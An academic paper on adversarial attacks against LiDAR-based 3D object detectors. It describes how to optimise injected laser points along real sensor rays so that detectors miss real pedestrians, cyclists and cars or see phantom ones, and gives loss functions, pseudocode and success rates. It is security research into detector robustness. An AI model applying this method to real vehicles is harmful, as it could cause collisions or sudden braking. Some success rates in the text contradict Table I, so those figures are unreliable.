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Abstract—Due to the booming of autonomous driving, in which
LiDAR plays a critical role in the task of environment perception,
its reliability issues have drawn much attention recently. LiDARs
usually utilize deep neural models for 3D point cloud perception,
which have been demonstrated to be vulnerable to imperceptible
adversarial examples. However, prior work usually manipulates
point clouds in the digital world without considering the physical
working principle of the actual LiDAR. As a result, the generated
adversarial point clouds may be realizable and effective in
simulation but cannot be perceived by physical LiDARs. In
this work, we introduce the physical principle of LiDARs and
propose a new method for generating 3D adversarial point
clouds in accord with it that can achieve two types of spoofing
attacks: object hiding and object creating. We also evaluate the
effectiveness of the proposed method with two 3D object detectors
on the KITTI vision benchmark.

I. INTRODUCTION

With the booming of autonomous driving, major companies
have launched their self-driving products [1]–[6], which rely
on a variety of sophisticated sensors such as cameras, radars,
LiDARs, and ultrasonic sensors [7] to perceive the surrounding
complex road information. Among those sensors, LiDARs
provide richer environmental depth information and enable 3D
perception with the help of 3D object detectors, and thus are
widely deployed on various autonomous vehicles. As a result,
to ensure the safety of autonomous driving decisions, it is
critical for 3D object detectors to analyze the point clouds
collected by LiDARs reliably.

LiDAR-based 3D object detectors are usually based on Deep
Neural Networks (DNNs), which, however, have been demon-
strated to be vulnerable to adversarial examples [9], [10], [13],
[16], [19]. Adversaries can induce DNN models into wrong
decisions by adding tiny, imperceptible disturbances to images,
voices, texts, etc. LiDAR-based 3D object detectors have also
been proved to suffer from such attacks [8], [20]. However,
deceiving LiDAR-based 3D detectors in the physical world
requires not only the capability of exploiting the vulnerability
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Fig. 1. Examples of hiding attack (a) and creating attack (b). By adding
adversarial points that comply with the LiDAR principle above the target
object, we successfully make the 3D target detector unable to recognize the
original object. By adding adversarial points that comply with the LiDAR
principle on the open road, we successfully fool the 3D detector to create a
target.

of DNN models to generate adversarial point clouds but also
the ability to ensure the generated adversarial point clouds
are perceived by the actual LiDARs. Most existing methods
focus on developing the first capability and manipulating point
clouds by adding [8], disturbing [21], or moving points [14],
[18] in the digital world without considering the physical
working principle of the actual LiDARs. As a result, the
generated point clouds may be effective in simulation but
cannot be perceived by physical LiDARs. Several other works
have attempted to physically realize adversarial point clouds
optimized in the digital world by placing a 3D printed physical
object [20] or a drone [23] near the target object. However,
such attacks may raise the suspicion of alert users.

In this paper, we try to answer such a question: How to
ensure that the generated adversarial points can be perceived
by LiDARs in the physical world? One thing that needs
attention is that the actual point cloud space of a LiDAR is
sparse. A mechanical (spinning) LiDAR usually has multiple
transmitters and receivers at the vertical angle and can obtain
sparse 64-line point (or 16-line, 32-line, etc.) cloud data
by emitting laser rays and receiving reflected light. LiDARs
deployed in autonomous vehicles operate under the Strongest
Return Mode setting [8], [17], [18], in which each laser ray can
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record at most one point. Therefore, to ensure that LiDARs can
perceive adversarial points emitted by the attack transmitter in
the physical world, we shall limit the locations of the generated
adversarial points to specific LiDAR rays.

Based on this physical constraint, we propose a new method
to generate adversarial point clouds that can be injected into
the victim LiDAR by a laser transmitter. Our attack scenario
is as follows: An adversary tries to inject malicious points into
the victim LiDAR through the laser transmitter on the roadside
to induce hiding attacks (HA) and creating attacks (CA) that
affect safety-critical decision making. As shown in Fig.1, the
goal of HA is to make the detector fail to perceive the existing
object, which may induce the victim autonomous vehicle into a
collision. To achieve it, we add adversarial points in the space
above the object and update the distance of the adversarial
points on the laser ray according to the gradient information,
which will not block the point cloud of the original target,
facilitating attacks in the physical world. For CA, our goal
is to render the detector perceive non-existent targets, which
can induce the moving victim vehicle into a sudden brake.
To achieve it, we randomly add points to the laser ray in a
limited space (like the size of the detection frame) and update
the distance of the adversarial point on the ray according
to the gradient information until the detector misjudges the
adversarial point specified by the adversary.

To validate our attack method, we evaluate with two 3D
object detectors PointPillars [15] and SECOND [22]. In sum-
mary, our contributions include the points below:
• We propose a new LiDAR-principle-orientated optimiza-

tion method to generate 3D adversarial point clouds that
can achieve both object hiding and object creating attack
effects.

• We validate the effectiveness of our attack methods with
two 3D object detectors PointPillars and SECOND.

II. BACKGROUND

A. LiDAR-based 3D Object Detection

State-of-the-art 3D object detection models are usually
based on deep learning techniques and have three main cat-
egories: (1) bird’s-eye view (BEV) based methods that take
point cloud’s BEV representation as model input and use 2D
Convolutional Neural Networks (CNNs) in feature learning,
(2) voxel-based methods that divide the 3D point cloud space
into voxels and learn features through 3D CNNs, and (3)
point-wise methods that directly operate on point clouds to
learn the features. Among these methods, the voxel-based ones
are commonly used, and we study their representative models
PointPillars [15] and SECOND [22] in this paper.

B. Adversarial Machine Learning

Recently, much attention has been devoted to adversarial
attacks that utilize the vulnerabilities of machine learning
algorithms, and researchers have proposed various ways to
construct adversarial examples (images) that can cause mis-
classification in 2D image classification and object detec-
tion [10], [13], [19]. With the rapid development of 3D

Fig. 2. Schematic diagram of point cloud data acquired by 64-line mechanical
LiDAR. The laser rays are sparse and limited by the rotation speed of the
LiDAR and the number of internal transmitters. Every generated point only
occurs on one of the LiDAR’s laser rays, and each laser ray has at most one
point.

perception, adversarial machine learning against LiDAR-based
3D object detection begins to draw attention as well [8], [18],
[20], [23].

For a general 3D object detector, we can model its adver-
sarial attack as:

Y ′ = f(X + ∆) 6= Y (1)

where f is the abstract function of the 3D object detector,
X ∈ Rn×4 is the benign input point cloud (n is the number
of input points, and each point is represented as its 3D
coordinates and light intensity), Y ∈ Rm×t is the benign
output of the detector (m is the number of objects detected
in the point cloud, and each object is detected with a t-
dimension vector indicating its predicted location, predicted
class, and class prediction confidence), ∆ is the additive noise
(e.g., the injected laser points in our case) that has the same
dimensionality with X , and Y ′ is the adversarial output. X+∆
can be further denoted as X ′, which is called an adversarial
example to the object detector, i.e., an input to machine
learning models that an adversary has intentionally designed
to cause the model to make a mistake.

III. ATTACK DESIGN

We propose a novel method to generate adversarial point
clouds under the principle of LiDARs. This method is a model-
level white-box attack that can achieve the effect of both object
creating and object hiding. Next, we will elaborate on the
threat model and attack methodology.

A. Threat Model

We assume that the adversary can acquire and analyze the
parameters of the 3D target detector deployed on the victim
autonomous vehicle, the point cloud data collected by the
LiDAR in the current road environment, and the detector
output results. In other words, this is a white box attack. In
addition, the adversary masters the highly advanced sensor
technology and can inject less than 100 points into the victim
LiDAR through the laser transmitter, and the horizontal angle
range of the injected adversarial point cloud is less than 10°.
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B. Attack Methodology

To generate adversarial points that can be injected into the
victim LiDAR through the laser transmitter, it is essential to
address the following challenge:

• How to generate adversarial point clouds in line with
LiDARs’ working principle to ensure that LiDARs in the
physical world can perceive the generated points?

To generate adversarial points that are in line with LiDAR’s
working principle, we consider the optimization-based point
cloud generation, which exploits the vulnerability of the 3D
object detectors, and has the potential of hiding or creating a
target class at any distance with fewer points.
Problem Modeling. As shown in Fig.2, we first introduce
the principle of LiDARs, a physical constraint that shall
be considered during the generation to ensure the physical
realizability of the generated point cloud: The laser rays are
sparse and limited by the rotation speed of the LiDAR and the
number of internal transmitters. Every generated point only
occurs on one of the LiDAR’s laser rays, and each laser ray
has at most one point.

To better comply with the physical contrast, we choose
to generate the point clouds in the Spherical Coordinate
and formulate this problem as a gradient-based optimization
problem:
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where L(.) is the loss function; P
′

= {(R′

i, α
′

i, ω
′

i)|i ∈ [1, n]}
is the adversarial points; n is the number of adversarial points;
R

′

i, α
′

i and ω
′

i are the distance, horizontal angle and vertical
angle of the ith adversarial point relative to the LiDAR, re-
spectively; Locexp = {xa, ya, za, wa, ha, la, yawa} represents
the target area for adding adversarial points (xa, ya, za) is
the center point of the target area, (wa, la, ha) are the width,
length and height of the target area, and yawa is the yaw angle;
W indicates the range of the vertical angle specified by the
victim LiDAR (i.e., 64 discrete values in Velodyne HDL-64E
Laserscanner).
Loss Function Design. For HA, our goal is to inject adver-
sarial points into the vicinity of the victim object to make
it undetectable. To achieve it, we suppress the bounding box
proposals related to the victim objects. A proposal that is close
to the victim object can be considered as relevant if (1) their
intersection over union (IoU) is larger than a threshold εi, and
(2) the class prediction confidence of the proposal is larger
than a threshold εs. Considering the practicality of the real-
world attacks, we choose to inject adversarial points above
the victim object to suppress those relevant proposals to avoid
the possible blocking from the victim object. In this way, the
design of the loss function for HA is as follows:

Algorithm 1: Generating adversarial points

Input: clean point cloud : P ;
expected location : Locexp;
number of adversarial points: n ;
number of iterations : niter

1 Randomly initialize adversarial points
P

′
= {(R′

i, α
′

i, ω
′

i) ∈ Locexp|i ∈ [1, n]};
2 Pa ← P + P

′
;

3 for iter ∈ {1, 2, 3, ..., niter} do
4 detection result: IoUs, scores;
5 calculate δ

′
by loss function 3 or 4 ;

6 update P
′ ← P

′
+ δ

′
;

7 Pa ← P + P
′

;
8 end

Output: adversarial point cloud : Pa

Lh = Σ
b,s∈B

−IoU(bt, b)log(1− s) (3)

where B = {(xi, yi, zi, wi, hi, li, yawi, si)|i ∈ [1, k]} is the
set of all the bounding box proposals; k is the number of
related bounding box proposals; bt is the ground truth of the
victim object, and b and s are the relevant bounding box pro-
posal and the confidence, respectively. In our implementation,
εi = 0.1 and εs = 0.1.

For CA, our goal is to induce a target object into a specific
location by injecting adversarial points into this area, e.g.,
10 meters in front of the victim LiDAR. To achieve it, we
improve the bounding box proposals related to the expected
area. Different from HA, we select the top 10 bounding box
proposals that have the largest IoUs with the expected area as
the relevant proposals. In this way, we design the loss function
for CA as follows:

Lc = Σ
b,s∈B

−IoU(be, b)log(s) (4)

where be = {xe, ye, ze, we, he, le, yawe} is the expected area;
B = {(xi, yi, zi, wi, hi, li, yawi, si)|i ∈ [1, 10]} is the set of
top 10 bounding box proposals which have the largest IoUs
with the expected area.
Optimization Process. With the loss functions, we then design
the optimization process for HA or CA shown in Algorithm
1, which mainly has the following steps:
• Step 1: Calculate the Spherical Coordinate range of the

adversarial points according to the location where the
adversary expects to hide or create an object;

• Step 2: Randomly add a given number of adversarial
points in the range mentioned above;

• Step 3: Calculate the gradient of the loss function for
HA or CA to the Spherical Coordinate of the adversarial
points;

• Step 4: Update R of the adversarial point cloud P
′
.

Note that we do not update α and ω to ensure that the
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TABLE I
RESULTS OF ATTACKS.

Models
Attack Success Rate

Hiding Attack Creating Attack
Pedestrian Cyclist Car Pedestrian Cyclist Car

PointPillars 100% 100% 84% 51% 50% 51%
SECOND 22% 42% 29% 99% 99% 18%

Fig. 3. HA attack success rate (ASR) of 3D object detection for different classes with different numbers of adversarial points.

adversarial points are always on the laser ray, and at most
one point appears on a ray.

• Step 5: Repeat Step 3 and Step 4 until the loss converges
or the end of the iteration.

The conventional detector processes the point cloud in the
Cartesian Coordinate so that we cannot obtain the gradient
information about the loss function of the adversarial points
in the form of Spherical Coordinate. To overcome it, after
adding adversarial points to the clean point cloud, we first
convert all the point clouds from the Cartesian Coordinate to
Spherical Coordinate, and then into the Cartesian Coordinate.

IV. EVALUATION

In this section, we evaluate our attacks against LiDAR-based
3D object detection systems. We consider both simulation
evaluation for HA and CA, where the adversarial point clouds
fed into the 3D object detectors are generated by optimization
under the principle of LiDARs.

We use the attack success rate (ASR) as the metric, the ratio
of the number of successful attacks against an object detector
over the total number of conducted attacks. We also analyzed
the relationship between recall and IoU threshold in the hiding
attack. As shown in Table I, we highlight the key result of our
attacks as follows:
• For HA, our methods can achieve an overall ASR of 95%

against PointPillars and 50% against SECOND.
• For CA, our methods can achieve an overall ASR of 31%

against PointPillars and 72% against SECOND.

A. Experimental Setup

Dataset. We use the KITTI [12] dataset in the simulation
evaluation, which is widely used in the training and testing of
3D object detectors. For hiding attacks, we select 100 objects

for each class of interest from the KITTI dataset and try to
make them undetectable. For creating attacks, we select 100
bin files (scenes) from the KITTI dataset and try to inject a
car, a pedestrian, or a cyclist into each scene, respectively.
Object Detectors. We evaluate our attacks using two 3D
object detectors PointPillars [15] and SECOND [22]. We use
the implementation from MMDetection3D [11]. The backbone
network and training dataset used for these two pre-trained
models are SECFPN and KITTI [12], respectively. The average
detection precision achieved on KITTI is 59.5% for PointPil-
lars and 64.4% for SECOND.
Classes of Interest. Given that most LiDAR-based 3D object
detectors detect (up to) three classes of objects in the au-
tonomous driving scenarios, which are (1) car, (2) pedestrian,
and (3) cyclist, we consider them as classes of interest in
this paper. Both the aforementioned object detectors Point-
Pillars [15] and SECOND [22] support the detection of these
three classes.
Computing Platform. We implement the aforementioned
object detectors in our lab with a server equipped with an
Intel Xeon Gold 6240C CPU @2.60 GHz, four GeForce RTX
3090 GPUs, and 256 GB physical memory, which is also used
to optimize adversarial point clouds.

B. Attack Effectiveness

In this section, we evaluate the effectiveness of HA and CA,
respectively.
Hiding Attacks. The results shown in Fig.3 demonstrate the
effectiveness of HA. When against Pointpillars, while the
added adversarial points gradually increased from 10 to 60,
ASRs of pedestrians and cyclists rise rapidly and stabilize at
approximately 100%. For cars, while the number of added
adversarial points gradually increased from 10 to 90, the ASRs
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Fig. 4. Recall-IoU curves for (top) PointPillars and (bottom) SECOND under the HA with different IoU thresholds.

rise quickly and then stabilize at 84%. We speculate that
more adversarial points are needed to hide the objects such
as cars. When against SECOND, the ASRs for pedestrians,
cyclists and cars rise slowly with the increase in the number
of adversarial points and finally stabilize at 51, 50, and 51,
respectively. Generally speaking, the ASRs increase roughly
along with the number of spoofing points increasing.

From Fig. 4, we can find that with the increase of the
IoU threshold, recall first decreases slowly. When pedestrians
IoU threshold > 0.5, cyclist IoU threshold > 0.5 or car IoU
threshold > 0.7, recall drops rapidly. As the number of adding
adversarial points increases, pedestrians’ and cyclists’ recalls
drop sharply to 0, and the recall of cars drops sharply to 0. As
the number of added adversarial points increases, the recall is
lower under the same IoU threshold, which confirms that our
proposed hiding attack can effectively reduce the performance
of the 3D object detector.

Note that the ASRs of HA against the PointPillars model
are significantly better than that of the SECOND model. We
suppose that the difference comes from these two models’
different feature extraction processes. The SECOND model
divides the point cloud space into voxels, while PointPillars
divides the point cloud space into vertical columns (pillars)
and utilizes PointNets to learn features. The location where
we add the adversarial points is in the space above the victim
object, the adversarial points may be more likely to harm the
feature extraction of the point cloud below the pillar.

Creating Attacks. We select the position of the road near
the front of (10 meters) the victim LiDAR as the center
coordinates of our forged object, and the experimental results
are shown in Fig. 5. When against PointPillars, the ASRs for
pedestrians, cyclists, and cars can achieve 22%, 45%, and
29%. For these three types of target objects, as the number

of added adversarial points increases, the ASRs gradually
increase. When against SECOND, the ASRs for pedestrians,
cyclists, and cars can achieve 99%, 99%, and 18%. For two
types of targets: pedestrians and cyclists, the attack method
we propose can easily achieve a nearly 100% ASR within
the numbers of added points ranging from 10 to 100. But the
attack method we proposed is less effective for targets such
as cars. The ASRs of car creating are much lower than that
of the other two object types. We guess that the reason may
be related to our initial point cloud strategy. When initializing
the adversarial points, the target area we choose as the space
constraints is a cuboid, which is the same as the bounding
box in the object detector, but the point cloud of a real car is
distributed on the edge of the cuboid due to the regular shape
of a vehicle, while the point clouds of pedestrians and cyclists
are more evenly distributed in the detection frame. As a result,
we assume that the overhead of creating a car is higher than
that of creating a pedestrian or a cyclist by our optimization
algorithm.

C. Discussion and Implications

For HA, the performance of our proposed attack method
on PointPillars is significantly better than SECOND. We
speculate that this is due to the significant difference between
the two extracting point cloud data features. How different
feature extraction methods will affect the robustness of the
detector, and we will continue to dig deeper on this issue.
For CA, although our proposed attack method has good
performance on two types of targets, pedestrians, and cyclists,
it performs poorly on targets such as cars. We guess this is
related to the initialization of the added adversarial points.
Clean car point clouds are often distributed on the surface of
the detection frame. Our attack method randomly distributes
the point clouds within the expected detection frame when
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Fig. 5. CA attack success rate (ASR) of 3D object detection for different classes with different numbers of adversarial points.

initializing the adversarial points, making it more challenging
to find the optimal solution. While the other two types of
point clouds, clean pedestrians and cyclists, are relatively
evenly distributed within the detection frame. We hope to
stimulate more thinking, such as exploring how to improve
the initialization strategy of the algorithm.

V. CONCLUSION

We consider the principle of LiDAR data collection and
propose a novel attack method to generate the 3D point cloud
adversarial examples that LiDARs can perceive. Through
experiments on two models and three types of objects: pedes-
trians, cyclists, and cars, it is demonstrated that the attack
method we propose can achieve two kinds of attack effects:
object hiding and object creating. We also consider the impact
of the number of injected adversarial points and find that
whether it is an object hiding attack or a creating creation
attack, as the number of injection adversarial points increases,
the performance of the attack generally increases. In the future,
we will explore how to accurately inject the adversarial points
obtained at the software level into the victim LiDAR in the
physical world to deceive the 3D detector, and continue to
explore the safety of autonomous driving based on LiDARs.
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